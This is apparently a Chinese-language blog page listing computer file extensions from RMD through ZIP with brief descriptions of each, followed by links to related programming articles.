RMD Microsoft RegMaid文檔

RPT Microsoft Visual Basic Crystal報表文件

RTF Rich Text格式文檔

RUL InstallShield使用的擴展名

RVP Microsoft Scan配置文件(MIME) 擴展名 說明

S 彙編源代碼文件

SAV 遊戲保存文件

SBL Shockwave Flash對象文件

SCC Microsoft Source Safe文件

SCF Windows Explorer命令文件

SCP 撥號網路腳本文件

SCR Windows屏幕保護;傳真圖像;腳本文件

SCT SAS目錄(DOS);Scitex CT點陣圖;Microsoft FoxPro表單

SCX Microsoft FoxPro表單文件

SDT SmartDraw模板

SDV 分號分隔的值文件

SDX 由SDX壓縮的MIDI抽樣轉儲標準文件

SEP 標籤圖像文件格式(TIFF)點陣圖

SFD SoundStage聲音文件數據

SFI Sound Stage聲音文件信息

SFR Sonic Foundry Sample資源

SFX RAR自解壓文件

SGML 標準通用標籤語言

SHG 熱點點陣圖

SHTML 含有伺服器端包括(SSI)的HTML文件

SHW Corel Show演示文稿

SIG 符號文件

SKA PGP秘鑰

SKL Macromedia導演者資源文件

SL PACT的保存布局擴展名

SPL Shockwave Flash對象;DigiTrakker抽樣

SQC 結構化查詢語言(SQR)普通代碼文件

SQR 結構化查詢語言(SQR)程序文件

STR 屏幕保護文件

SWA 在Macromedia導演文件(MP3文件)中的Shockwave聲音文件

SWF Shockwave Flash對象

SYS 系統文件

SYW Yamaha SY系列波形文件 擴展名 說明

TAZ UNIX gzip/tape檔案

TGA Targa點陣圖

THEME Windows桌面主題文件

THN Graphics WorkShop for Windows速寫

TIF/TIFF 標籤圖像文件格式(TIFF)點陣圖

TIG 虎形文件,美國政府用於分發地圖

TLB OLE類型庫

TMP Windows臨時文件

TOL Kodak照片增強器

TPL CakeWalk聲音模板文件;DataCAD模板文件

TRM 終端文件

TRN MKS源完整性工程用法日誌文件

TTF TrueType字體文件

TXT ASCⅡ文本格式的聲音數據

TXW Yamaha TX16W波形文件 擴展名 說明

UDF Windows NT/2000唯一性資料庫文件

ULT Ultra Tracker音樂模塊(MOD)文件

URL Internet快捷方式文件

USE MKS源完整性文件

UWF Ultra racker波形文件 擴展名 說明

VBP Microsoft Visual Basic工程文件

VBW Microsoft Visual Basic工作區文件

VBX Microsoft Visual Basic用戶定製控制項

VCT/VCX Microsoft FoxPro類庫

VDA Targa點陣圖

VIR Norton Anti-Virus或其他殺毒產品用於標識被病毒感染的文件

VIV VivoActive Player流視頻文件

VSD Visio繪畫文件(流程圖或圖解)

VSL 下載列表文件(GetRight)

VSS Visio模板文件

VST Targa點陣圖

VSW Visio工作區文件

VXD Microsoft Windows虛擬設備驅動程序

VBP Microsoft Visual Basic工程文件

VBW Microsoft Visual Basic工作區文件

VBX Microsoft Visual Basic用戶定製控制項

VDA Targa點陣圖

VIR Norton Anti-Virus或其他殺毒產品用於標識被病毒感染的文件

VQF Yamaha Sound-VQ文件(可能出現標準)

VSD Visio繪畫文件(流程圖或圖解)

VSL 下載列表文件(GetRight)

VSS Visio模板文件

VST Targa點陣圖

VSW Visio工作區文件

VXD Microsoft Windows虛擬設備驅動程序 擴展名 說明

W3L W3Launch文件

WAB M icrosoft Outlook文件

WAD 包含有視頻、玩家水平和其他信息的DOOM遊戲的大文件

WAV Windows波形聲形

WBK Microsoft Word備份文件

WCM WordPerfect宏

WDB Microsoft Works資料庫

WFM Visual dBASE Windows表單

WFN 在CorelDRAW中使用的符號

WIL WinImage文件

WIZ Microsoft Word嚮導

WLL Microsoft Word內插器

WMF Windows元文件

WOW Grave Composer音樂模塊(MOD)文件

WP WordPerfect文檔

WPD WordPerfect文檔或演示

WPF 可字處理文檔

WPG WordPerfect圖形

WPS Microsoft Works文檔

WPT WordPerfect模板

WR1 書寫器文檔

WRK Cakewalk音樂聲音工程文件

WRL 虛擬現實模型

WRZ VRML文件對象 擴展名 說明

X AVS圖像格式

XAR CorelXARA繪畫

XBM MIME「xbitmap」圖像

XI Scream Tracker設備抽樣文件

XLA Microsoft Excel內插器

XLB Microsoft Excel工具條

XLC Microsoft Excel圖表

XLD Microsoft Excel對話框

XLK Microsoft Excel備份

XLL Microsoft Excel內插器文件

XLM Microsoft Excel宏

XLS Microsoft Excel工作單

XLT Microsoft Excel模板

XLV Microsoft Excel VBA模塊

XLW Microsoft Excel工作簿/工作區

XNK Microsoft Exchange快捷方式文件

XPM X點陣圖格式

XWD X Windows轉儲格式

XWF Yamaha XG Works文件(MIDI序列)

X16 宏媒體擴展(程序擴展),16位

X32 宏媒體擴展(程序擴展),32位 擴展名 說明

YAL Arts Letters剪貼藝術庫 擴展名 說明

Z UNIX gzip文件

ZAP Windows軟體安裝配置文件

ZIP Zip文件

原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/153121.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
小藍的頭像小藍
上一篇 2024-11-14 03:03
下一篇 2024-11-14 03:03

相關推薦

  • Python腳本控制其他軟體

    Python作為一種簡單易學、功能強大的腳本語言,具有廣泛的應用領域,在自動化測試、Web開發、數據挖掘等領域都得到了廣泛的應用。其中,Python腳本控制其他軟體也是Python…

    編程 2025-04-29
  • Python簡單數學計算

    本文將從多個方面介紹Python的簡單數學計算,包括基礎運算符、函數、庫以及實際應用場景。 一、基礎運算符 Python提供了基礎的算術運算符,包括加(+)、減(-)、乘(*)、除…

    編程 2025-04-29
  • Python滿天星代碼:讓編程變得更加簡單

    本文將從多個方面詳細闡述Python滿天星代碼,為大家介紹它的優點以及如何在編程中使用。無論是剛剛接觸編程還是資深程序員,都能從中獲得一定的收穫。 一、簡介 Python滿天星代碼…

    編程 2025-04-29
  • Python海龜代碼簡單畫圖

    本文將介紹如何使用Python的海龜庫進行簡單畫圖,並提供相關示例代碼。 一、基礎用法 使用Python的海龜庫,我們可以控制一個小海龜在窗口中移動,並利用它的「畫筆」在窗口中繪製…

    編程 2025-04-29
  • Shell腳本與Python腳本的區別

    本文將從多個方面對Shell腳本與Python腳本的區別做詳細的闡述。 一、語法差異 Shell腳本和Python腳本的語法存在明顯差異。 Shell腳本是一種基於字元命令行的語言…

    編程 2025-04-29
  • Python櫻花樹代碼簡單

    本文將對Python櫻花樹代碼進行詳細的闡述和講解,幫助讀者更好地理解該代碼的實現方法。 一、簡介 櫻花樹是一種圖形效果,它的實現方法比較簡單。Python中可以通過turtle這…

    編程 2025-04-28
  • Python自動化運維腳本

    Python自動化運維腳本是使用Python編寫的代碼,可以幫助管理員自動化執行繁瑣、重複的操作任務。通過Python自動化運維腳本,管理員可以在更短的時間內完成工作,提高工作效率…

    編程 2025-04-28
  • 使用Python圖書館搶座腳本的完整步驟

    本文將從多個方面詳細介紹如何使用Python編寫圖書館的座位搶佔腳本,並幫助您快速了解如何自動搶佔圖書館的座位,並實現您的學習計劃。 一、開發環境搭建 首先,我們需要安裝Pytho…

    編程 2025-04-28
  • Python大神作品:讓編程變得更加簡單

    Python作為一種高級的解釋性編程語言,一直被廣泛地運用於各個領域,從Web開發、遊戲開發到人工智慧,Python都扮演著重要的角色。Python的代碼簡潔明了,易於閱讀和維護,…

    編程 2025-04-28
  • ArcGIS的Python腳本需要主函數嗎?

    是的,ArcGIS的Python腳本需要主函數,主函數是Python腳本的入口和起點,沒有主函數腳本無法運行。 一、主函數的作用 在Python腳本中,主函數是代碼的入口,所有的代…

    編程 2025-04-28

發表回復

登錄後才能評論